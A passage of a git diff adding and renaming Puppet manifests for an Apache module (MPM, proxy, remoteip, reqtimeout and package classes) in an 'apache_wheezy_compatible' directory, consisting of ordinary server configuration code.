::apache::mod { 'perl': } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/peruser.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/peruser.pp new file mode 100644 index 000000000..5683dd66c --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/peruser.pp @@ -0,0 +1,77 @@ +class apache::mod::peruser ( + $minspareprocessors = '2', + $minprocessors = '2', + $maxprocessors = '10', + $maxclients = '150', + $maxrequestsperchild = '1000', + $idletimeout = '120', + $expiretimeout = '120', + $keepalive = 'Off', +) { + include ::apache + case $::osfamily { + 'freebsd' : { + fail("Unsupported osfamily ${::osfamily}") + } + default: { + if $::osfamily == 'gentoo' { + ::portage::makeconf { 'apache2_mpms': + content => 'peruser', + } + } + + if defined(Class['apache::mod::event']) { + fail('May not include both apache::mod::peruser and apache::mod::event on the same node') + } + if defined(Class['apache::mod::itk']) { + fail('May not include both apache::mod::peruser and apache::mod::itk on the same node') + } + if defined(Class['apache::mod::prefork']) { + fail('May not include both apache::mod::peruser and apache::mod::prefork on the same node') + } + if defined(Class['apache::mod::worker']) { + fail('May not include both apache::mod::peruser and apache::mod::worker on the same node') + } + File { + owner => 'root', + group => $::apache::params::root_group, + mode => $::apache::file_mode, + } + + $mod_dir = $::apache::mod_dir + + # Template uses: + # - $minspareprocessors + # - $minprocessors + # - $maxprocessors + # - $maxclients + # - $maxrequestsperchild + # - $idletimeout + # - $expiretimeout + # - $keepalive + # - $mod_dir + file { "${::apache::mod_dir}/peruser.conf": + ensure => file, + mode => $::apache::file_mode, + content => template('apache/mod/peruser.conf.erb'), + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } + file { "${::apache::mod_dir}/peruser": + ensure => directory, + require => File[$::apache::mod_dir], + } + file { "${::apache::mod_dir}/peruser/multiplexers": + ensure => directory, + require => File["${::apache::mod_dir}/peruser"], + } + file { "${::apache::mod_dir}/peruser/processors": + ensure => directory, + require => File["${::apache::mod_dir}/peruser"], + } + + ::apache::peruser::multiplexer { '01-default': } + } + } +} diff --git a/modules/services/unix/http/apache/manifests/mod/php.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/php.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/php.pp rename to modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/php.pp diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/prefork.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/prefork.pp new file mode 100644 index 000000000..f35551ce6 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/prefork.pp @@ -0,0 +1,85 @@ +class apache::mod::prefork ( + $startservers = '8', + $minspareservers = '5', + $maxspareservers = '20', + $serverlimit = '256', + $maxclients = '256', + $maxrequestsperchild = '4000', + $apache_version = undef, +) { + include ::apache + $_apache_version = pick($apache_version, $apache::apache_version) + if defined(Class['apache::mod::event']) { + fail('May not include both apache::mod::prefork and apache::mod::event on the same node') + } + if versioncmp($_apache_version, '2.4') < 0 { + if defined(Class['apache::mod::itk']) { + fail('May not include both apache::mod::prefork and apache::mod::itk on the same node') + } + } + if defined(Class['apache::mod::peruser']) { + fail('May not include both apache::mod::prefork and apache::mod::peruser on the same node') + } + if defined(Class['apache::mod::worker']) { + fail('May not include both apache::mod::prefork and apache::mod::worker on the same node') + } + File { + owner => 'root', + group => $::apache::params::root_group, + mode => $::apache::file_mode, + } + + # Template uses: + # - $startservers + # - $minspareservers + # - $maxspareservers + # - $serverlimit + # - $maxclients + # - $maxrequestsperchild + file { "${::apache::mod_dir}/prefork.conf": + ensure => file, + content => template('apache/mod/prefork.conf.erb'), + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } + + case $::osfamily { + 'redhat': { + if versioncmp($_apache_version, '2.4') >= 0 { + ::apache::mpm{ 'prefork': + apache_version => $_apache_version, + } + } + else { + file_line { '/etc/sysconfig/httpd prefork enable': + ensure => present, + path => '/etc/sysconfig/httpd', + line => '#HTTPD=/usr/sbin/httpd.worker', + match => '#?HTTPD=/usr/sbin/httpd.worker', + require => Package['httpd'], + notify => Class['apache::service'], + } + } + } + 'debian', 'freebsd': { + ::apache::mpm{ 'prefork': + apache_version => $_apache_version, + } + } + 'Suse': { + ::apache::mpm{ 'prefork': + apache_version => $apache_version, + lib_path => '/usr/lib64/apache2-prefork', + } + } + 'gentoo': { + ::portage::makeconf { 'apache2_mpms': + content => 'prefork', + } + } + default: { + fail("Unsupported osfamily ${::osfamily}") + } + } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/proxy.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/proxy.pp new file mode 100644 index 000000000..ce82cb3a8 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/proxy.pp @@ -0,0 +1,23 @@ +class apache::mod::proxy ( + $proxy_requests = 'Off', + $allow_from = undef, + $apache_version = undef, + $package_name = undef, + $proxy_via = 'On', +) { + include ::apache + $_apache_version = pick($apache_version, $apache::apache_version) + ::apache::mod { 'proxy': + package => $package_name, + } + # Template uses $proxy_requests, $_apache_version + file { 'proxy.conf': + ensure => file, + path => "${::apache::mod_dir}/proxy.conf", + mode => $::apache::file_mode, + content => template('apache/mod/proxy.conf.erb'), + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/proxy_ajp.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/proxy_ajp.pp new file mode 100644 index 000000000..a011a1789 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/proxy_ajp.pp @@ -0,0 +1,4 @@ +class apache::mod::proxy_ajp { + Class['::apache::mod::proxy'] -> Class['::apache::mod::proxy_ajp'] + ::apache::mod { 'proxy_ajp': } +} diff --git a/modules/services/unix/http/apache/manifests/mod/proxy_balancer.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/proxy_balancer.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/proxy_balancer.pp rename to modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/proxy_balancer.pp diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/proxy_connect.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/proxy_connect.pp new file mode 100644 index 000000000..cda5b89dc --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/proxy_connect.pp @@ -0,0 +1,10 @@ +class apache::mod::proxy_connect ( + $apache_version = undef, +) { + include ::apache + $_apache_version = pick($apache_version, $apache::apache_version) + if versioncmp($_apache_version, '2.2') >= 0 { + Class['::apache::mod::proxy'] -> Class['::apache::mod::proxy_connect'] + ::apache::mod { 'proxy_connect': } + } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/proxy_fcgi.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/proxy_fcgi.pp new file mode 100644 index 000000000..21473eb76 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/proxy_fcgi.pp @@ -0,0 +1,4 @@ +class apache::mod::proxy_fcgi { + Class['::apache::mod::proxy'] -> Class['::apache::mod::proxy_fcgi'] + ::apache::mod { 'proxy_fcgi': } +} diff --git a/modules/services/unix/http/apache/manifests/mod/proxy_html.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/proxy_html.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/proxy_html.pp rename to modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/proxy_html.pp diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/proxy_http.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/proxy_http.pp new file mode 100644 index 000000000..1579e68ee --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/proxy_http.pp @@ -0,0 +1,4 @@ +class apache::mod::proxy_http { + Class['::apache::mod::proxy'] -> Class['::apache::mod::proxy_http'] + ::apache::mod { 'proxy_http': } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/proxy_wstunnel.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/proxy_wstunnel.pp new file mode 100644 index 000000000..290954b74 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/proxy_wstunnel.pp @@ -0,0 +1,5 @@ +class apache::mod::proxy_wstunnel { + include ::apache, ::apache::mod::proxy + Class['::apache::mod::proxy'] -> Class['::apache::mod::proxy_wstunnel'] + ::apache::mod { 'proxy_wstunnel': } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/python.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/python.pp new file mode 100644 index 000000000..75af35011 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/python.pp @@ -0,0 +1,6 @@ +class apache::mod::python { + include ::apache + ::apache::mod { 'python': } +} + + diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/remoteip.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/remoteip.pp new file mode 100644 index 000000000..92010cf96 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/remoteip.pp @@ -0,0 +1,30 @@ +class apache::mod::remoteip ( + $header = 'X-Forwarded-For', + $proxy_ips = [ '127.0.0.1' ], + $proxies_header = undef, + $trusted_proxy_ips = undef, + $apache_version = undef, +) { + include ::apache + $_apache_version = pick($apache_version, $apache::apache_version) + if versioncmp($_apache_version, '2.4') < 0 { + fail('mod_remoteip is only available in Apache 2.4') + } + + ::apache::mod { 'remoteip': } + + # Template uses: + # - $header + # - $proxy_ips + # - $proxies_header + # - $trusted_proxy_ips + file { 'remoteip.conf': + ensure => file, + path => "${::apache::mod_dir}/remoteip.conf", + mode => $::apache::file_mode, + content => template('apache/mod/remoteip.conf.erb'), + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Service['httpd'], + } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/reqtimeout.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/reqtimeout.pp new file mode 100644 index 000000000..f166f6d6f --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/reqtimeout.pp @@ -0,0 +1,15 @@ +class apache::mod::reqtimeout ( + $timeouts = ['header=20-40,minrate=500', 'body=10,minrate=500'] +){ + include ::apache + ::apache::mod { 'reqtimeout': } + # Template uses no variables + file { 'reqtimeout.conf': + ensure => file, + path => "${::apache::mod_dir}/reqtimeout.conf", + content => template('apache/mod/reqtimeout.conf.erb'), + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/rewrite.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/rewrite.pp new file mode 100644 index 000000000..694f0b6f5 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/rewrite.pp @@ -0,0 +1,4 @@ +class apache::mod::rewrite { + include ::apache::params + ::apache::mod { 'rewrite': } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/rpaf.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/rpaf.pp new file mode 100644 index 000000000..b9afa149f --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/rpaf.pp @@ -0,0 +1,23 @@ +class apache::mod::rpaf ( + $sethostname = true, + $proxy_ips = [ '127.0.0.1' ], + $header = 'X-Forwarded-For', + $template = 'apache/mod/rpaf.conf.erb' +) { + include ::apache + ::apache::mod { 'rpaf': } + + # Template uses: + # - $sethostname + # - $proxy_ips + # - $header + file { 'rpaf.conf': + ensure => file, + path => "${::apache::mod_dir}/rpaf.conf", + mode => $::apache::file_mode, + content => template($template), + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } +} diff --git a/modules/services/unix/http/apache/manifests/mod/security.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/security.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/security.pp rename to modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/security.pp diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/setenvif.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/setenvif.pp new file mode 100644 index 000000000..d7baf582e --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/setenvif.pp @@ -0,0 +1,14 @@ +class apache::mod::setenvif { + include ::apache + ::apache::mod { 'setenvif': } + # Template uses no variables + file { 'setenvif.conf': + ensure => file, + path => "${::apache::mod_dir}/setenvif.conf", + mode => $::apache::file_mode, + content => template('apache/mod/setenvif.conf.erb'), + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } +} diff --git a/modules/services/unix/http/apache/manifests/mod/shib.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/shib.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/shib.pp rename to modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/shib.pp diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/socache_shmcb.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/socache_shmcb.pp new file mode 100644 index 000000000..7bfb4c6b5 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/socache_shmcb.pp @@ -0,0 +1,3 @@ +class apache::mod::socache_shmcb { + ::apache::mod { 'socache_shmcb': } +} \ No newline at end of file diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/speling.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/speling.pp new file mode 100644 index 000000000..fbd19d373 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/speling.pp @@ -0,0 +1,4 @@ +class apache::mod::speling { + include ::apache + ::apache::mod { 'speling': } +} diff --git a/modules/services/unix/http/apache/manifests/mod/ssl.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/ssl.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/ssl.pp rename to modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/ssl.pp diff --git a/modules/services/unix/http/apache/manifests/mod/status.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/status.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/status.pp rename to modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/status.pp diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/suexec.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/suexec.pp new file mode 100644 index 000000000..ded013d49 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/suexec.pp @@ -0,0 +1,3 @@ +class apache::mod::suexec { + ::apache::mod { 'suexec': } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/suphp.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/suphp.pp new file mode 100644 index 000000000..955bba302 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/suphp.pp @@ -0,0 +1,16 @@ +class apache::mod::suphp ( +){ + include ::apache + ::apache::mod { 'suphp': } + + file {'suphp.conf': + ensure => file, + path => "${::apache::mod_dir}/suphp.conf", + mode => $::apache::file_mode, + content => template('apache/mod/suphp.conf.erb'), + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } +} + diff --git a/modules/services/unix/http/apache/manifests/mod/userdir.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/userdir.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/userdir.pp rename to modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/userdir.pp diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/version.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/version.pp new file mode 100644 index 000000000..1cc4412e1 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/version.pp @@ -0,0 +1,10 @@ +class apache::mod::version( + $apache_version = $::apache::apache_version +) { + + if ($::osfamily == 'debian' and versioncmp($apache_version, '2.4') >= 0) { + warning("${module_name}: module version_module is built-in and can't be loaded") + } else { + ::apache::mod { 'version': } + } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/vhost_alias.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/vhost_alias.pp new file mode 100644 index 000000000..30ae122e1 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/vhost_alias.pp @@ -0,0 +1,3 @@ +class apache::mod::vhost_alias { + ::apache::mod { 'vhost_alias': } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/worker.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/worker.pp new file mode 100644 index 000000000..00a9439b3 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/worker.pp @@ -0,0 +1,147 @@ +# == Class: apache::mod::worker +# +# +# === Parameters +# +# [*startservers*] +# (optional) The number of child server processes created on startup +# Defaults is '2' +# +# [*maxclients*] +# (optional) The max number of simultaneous requests that will be served. +# This is the old name and is still supported. The new name is +# MaxRequestWorkers as of 2.3.13. +# Default is '150' +# +# [*minsparethreads*] +# (optional) Minimum number of idle threads to handle request spikes. +# Default is '25' +# +# [*maxsparethreads*] +# (optional) Maximum number of idle threads. +# Default is '75' +# +# [*threadsperchild*] +# (optional) The number of threads created by each child process. +# Default is '25' +# +# [*maxrequestsperchild*] +# (optional) Limit on the number of connectiojns an individual child server +# process will handle. This is the old name and is still supported. The new +# name is MaxConnectionsPerChild as of 2.3.9+. +# Default is '0' +# +# [*serverlimit*] +# (optional) With worker, use this directive only if your MaxRequestWorkers +# and ThreadsPerChild settings require more than 16 server processes +# (default). Do not set the value of this directive any higher than the +# number of server processes required by what you may want for +# MaxRequestWorkers and ThreadsPerChild. +# Default is '25' +# +# [*threadlimit*] +# (optional) This directive sets the maximum configured value for +# ThreadsPerChild for the lifetime of the Apache httpd process. +# Default is '64' +# +# [*listenbacklog*] +# (optional) Maximum length of the queue of pending connections. +# Defaults is '511' +# +# [*apache_version*] +# (optional) +# Default is $::apache::apache_version +# +class apache::mod::worker ( + $startservers = '2', + $maxclients = '150', + $minsparethreads = '25', + $maxsparethreads = '75', + $threadsperchild = '25', + $maxrequestsperchild = '0', + $serverlimit = '25', + $threadlimit = '64', + $listenbacklog = '511', + $apache_version = undef, +) { + include ::apache + $_apache_version = pick($apache_version, $apache::apache_version) + + if defined(Class['apache::mod::event']) { + fail('May not include both apache::mod::worker and apache::mod::event on the same node') + } + if defined(Class['apache::mod::itk']) { + fail('May not include both apache::mod::worker and apache::mod::itk on the same node') + } + if defined(Class['apache::mod::peruser']) { + fail('May not include both apache::mod::worker and apache::mod::peruser on the same node') + } + if defined(Class['apache::mod::prefork']) { + fail('May not include both apache::mod::worker and apache::mod::prefork on the same node') + } + File { + owner => 'root', + group => $::apache::params::root_group, + mode => $::apache::file_mode, + } + + # Template uses: + # - $startservers + # - $maxclients + # - $minsparethreads + # - $maxsparethreads + # - $threadsperchild + # - $maxrequestsperchild + # - $serverlimit + # - $threadLimit + # - $listenbacklog + file { "${::apache::mod_dir}/worker.conf": + ensure => file, + content => template('apache/mod/worker.conf.erb'), + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } + + case $::osfamily { + 'redhat': { + + if versioncmp($_apache_version, '2.4') >= 0 { + ::apache::mpm{ 'worker': + apache_version => $_apache_version, + } + } + else { + file_line { '/etc/sysconfig/httpd worker enable': + ensure => present, + path => '/etc/sysconfig/httpd', + line => 'HTTPD=/usr/sbin/httpd.worker', + match => '#?HTTPD=/usr/sbin/httpd.worker', + require => Package['httpd'], + notify => Class['apache::service'], + } + } + } + + 'debian', 'freebsd': { + ::apache::mpm{ 'worker': + apache_version => $_apache_version, + } + } + 'Suse': { + ::apache::mpm { 'worker': + apache_version => $apache_version, + lib_path => '/usr/lib64/apache2-worker', + } + } + + 'gentoo': { + ::portage::makeconf { 'apache2_mpms': + content => 'worker', + } + } + default: { + fail("Unsupported osfamily ${::osfamily}") + } + } +} diff --git a/modules/services/unix/http/apache/manifests/mod/wsgi.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/wsgi.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/wsgi.pp rename to modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/wsgi.pp diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/xsendfile.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/xsendfile.pp new file mode 100644 index 000000000..7c5e88437 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/xsendfile.pp @@ -0,0 +1,4 @@ +class apache::mod::xsendfile { + include ::apache::params + ::apache::mod { 'xsendfile': } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mpm.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mpm.pp new file mode 100644 index 000000000..119fedf57 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mpm.pp @@ -0,0 +1,148 @@ +define apache::mpm ( + $lib_path = $::apache::lib_path, + $apache_version = $::apache::apache_version, +) { + if ! defined(Class['apache']) { + fail('You must include the apache base class before using any apache defined resources') + } + + $mpm = $name + $mod_dir = $::apache::mod_dir + + $_lib = "mod_mpm_${mpm}.so" + $_path = "${lib_path}/${_lib}" + $_id = "mpm_${mpm}_module" + + if $::osfamily == 'Suse' { + #mpms on Suse 12 don't use .so libraries so create a placeholder load file + if versioncmp($apache_version, '2.4') >= 0 { + file { "${mod_dir}/${mpm}.load": + ensure => file, + path => "${mod_dir}/${mpm}.load", + content => '', + require => [ + Package['httpd'], + Exec["mkdir ${mod_dir}"], + ], + before => File[$mod_dir], + notify => Class['apache::service'], + } + } + } else { + if versioncmp($apache_version, '2.4') >= 0 { + file { "${mod_dir}/${mpm}.load": + ensure => file, + path => "${mod_dir}/${mpm}.load", + content => "LoadModule ${_id} ${_path}\n", + require => [ + Package['httpd'], + Exec["mkdir ${mod_dir}"], + ], + before => File[$mod_dir], + notify => Class['apache::service'], + } + } + } + + case $::osfamily { + 'debian': { + file { "${::apache::mod_enable_dir}/${mpm}.conf": + ensure => link, + target => "${::apache::mod_dir}/${mpm}.conf", + require => Exec["mkdir ${::apache::mod_enable_dir}"], + before => File[$::apache::mod_enable_dir], + notify => Class['apache::service'], + } + + if versioncmp($apache_version, '2.4') >= 0 { + file { "${::apache::mod_enable_dir}/${mpm}.load": + ensure => link, + target => "${::apache::mod_dir}/${mpm}.load", + require => Exec["mkdir ${::apache::mod_enable_dir}"], + before => File[$::apache::mod_enable_dir], + notify => Class['apache::service'], + } + + if $mpm == 'itk' { + file { "${lib_path}/mod_mpm_itk.so": + ensure => link, + target => "${lib_path}/mpm_itk.so", + require => Package['httpd'], + before => Class['apache::service'], + } + } + } + + if $mpm == 'itk' and $::operatingsystem == 'Ubuntu' and $::operatingsystemrelease == '14.04' { + # workaround https://bugs.launchpad.net/ubuntu/+source/mpm-itk/+bug/1286882 + exec { + '/usr/sbin/a2dismod mpm_event': + onlyif => '/usr/bin/test -e /etc/apache2/mods-enabled/mpm_event.load', + require => Package['httpd'], + before => Package['apache2-mpm-itk'], + } + } + + if $mpm == 'itk' and $::operatingsystem == 'Ubuntu' and $::operatingsystemrelease == '16.04' { + $packagename = 'libapache2-mpm-itk' + } else { + $packagename = "apache2-mpm-${mpm}" + } + + if versioncmp($apache_version, '2.4') < 0 or $mpm == 'itk' { + package { $packagename: + ensure => present, + } + if $::apache::mod_enable_dir { + Package[$packagename] { + before => File[$::apache::mod_enable_dir], + } + } + } + } + 'freebsd': { + class { '::apache::package': + mpm_module => $mpm, + } + } + 'gentoo': { + # so we don't fail + } + 'redhat': { + # so we don't fail + } + 'Suse': { + file { "${::apache::mod_enable_dir}/${mpm}.conf": + ensure => link, + target => "${::apache::mod_dir}/${mpm}.conf", + require => Exec["mkdir ${::apache::mod_enable_dir}"], + before => File[$::apache::mod_enable_dir], + notify => Class['apache::service'], + } + + if versioncmp($apache_version, '2.4') >= 0 { + file { "${::apache::mod_enable_dir}/${mpm}.load": + ensure => link, + target => "${::apache::mod_dir}/${mpm}.load", + require => Exec["mkdir ${::apache::mod_enable_dir}"], + before => File[$::apache::mod_enable_dir], + notify => Class['apache::service'], + } + + if $mpm == 'itk' { + file { "${lib_path}/mod_mpm_itk.so": + ensure => link, + target => "${lib_path}/mpm_itk.so", + } + } + } + + package { "apache2-${mpm}": + ensure => present, + } + } + default: { + fail("Unsupported osfamily ${::osfamily}") + } + } +} diff --git a/modules/services/unix/http/apache/manifests/namevirtualhost.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/namevirtualhost.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/namevirtualhost.pp rename to modules/services/unix/http/apache_wheezy_compatible/apache/manifests/namevirtualhost.pp diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/package.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/package.pp new file mode 100644 index 000000000..7c95f9980 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/package.pp @@ -0,0 +1,37 @@ +class apache::package ( + $ensure = 'present', + $mpm_module = $::apache::params::mpm_module, +) inherits ::apache::params { + + # The base class must be included first because it is used by parameter defaults + if ! defined(Class['apache']) { + fail('You must include the apache base class before using any apache defined resources') + } + + case $::osfamily { + 'FreeBSD': { + case $mpm_module { + 'prefork': { + } + 'worker': { + } + 'event': { + } + 'itk': { + package { 'www/mod_mpm_itk': + ensure => installed, + } + } + default: { fail("MPM module ${mpm_module} not supported on FreeBSD") } + } + } + default: { + } + } + + package { 'httpd': + ensure => $ensure, + name => $::apache::apache_name, + notify => Class['Apache::Service'], + } +} diff --git a/modules/services/unix/http/apache/manifests/params.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/params.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/params.pp rename to modules/services/unix/http/apache_wheezy_compatible/apache/manifests/params.pp diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/peruser/multiplexer.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/peruser/multiplexer.pp new file mode 100644 index 000000000..97143a1d4 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/peruser/multiplexer.pp @@ -0,0 +1,17 @@ +define apache::peruser::multiplexer ( + $user = $::apache::user, + $group = $::apache::group, + $file = undef, +) { + if ! $file { + $filename = "${name}.conf" + } else { + $filename = $file + } + file { "${::apache::mod_dir}/peruser/multiplexers/${filename}": + ensure => file, + content => "Multiplexer ${user} ${group}\n", + require => File["${::apache::mod_dir}/peruser/multiplexers"], + notify => Class['apache::service'], + } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/peruser/processor.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/peruser/processor.pp new file mode 100644 index 000000000..30de61d7c --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/peruser/processor.pp @@ -0,0 +1,17 @@ +define apache::peruser::processor ( + $user, + $group, + $file = undef, +) { + if ! $file { + $filename = "${name}.conf" + } else { + $filename = $file + } + file { "${::apache::mod_dir}/peruser/processors/${filename}": + ensure => file, + content => "Processor ${user} ${group}\n", + require => File["${::apache::mod_dir}/peruser/processors"], + notify => Class['apache::service'], + } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/php.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/php.pp new file mode 100644 index 000000000..9fa9c682e --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/php.pp @@ -0,0 +1,18 @@ +# Class: apache::php +# +# This class installs PHP for Apache +# +# Parameters: +# - $php_package +# +# Actions: +# - Install Apache PHP package +# +# Requires: +# +# Sample Usage: +# +class apache::php { + warning('apache::php is deprecated; please use apache::mod::php') + include ::apache::mod::php +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/proxy.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/proxy.pp new file mode 100644 index 000000000..050f36c27 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/proxy.pp @@ -0,0 +1,15 @@ +# Class: apache::proxy +# +# This class enabled the proxy module for Apache +# +# Actions: +# - Enables Apache Proxy module +# +# Requires: +# +# Sample Usage: +# +class apache::proxy { + warning('apache::proxy is deprecated; please use apache::mod::proxy') + include ::apache::mod::proxy +} diff --git 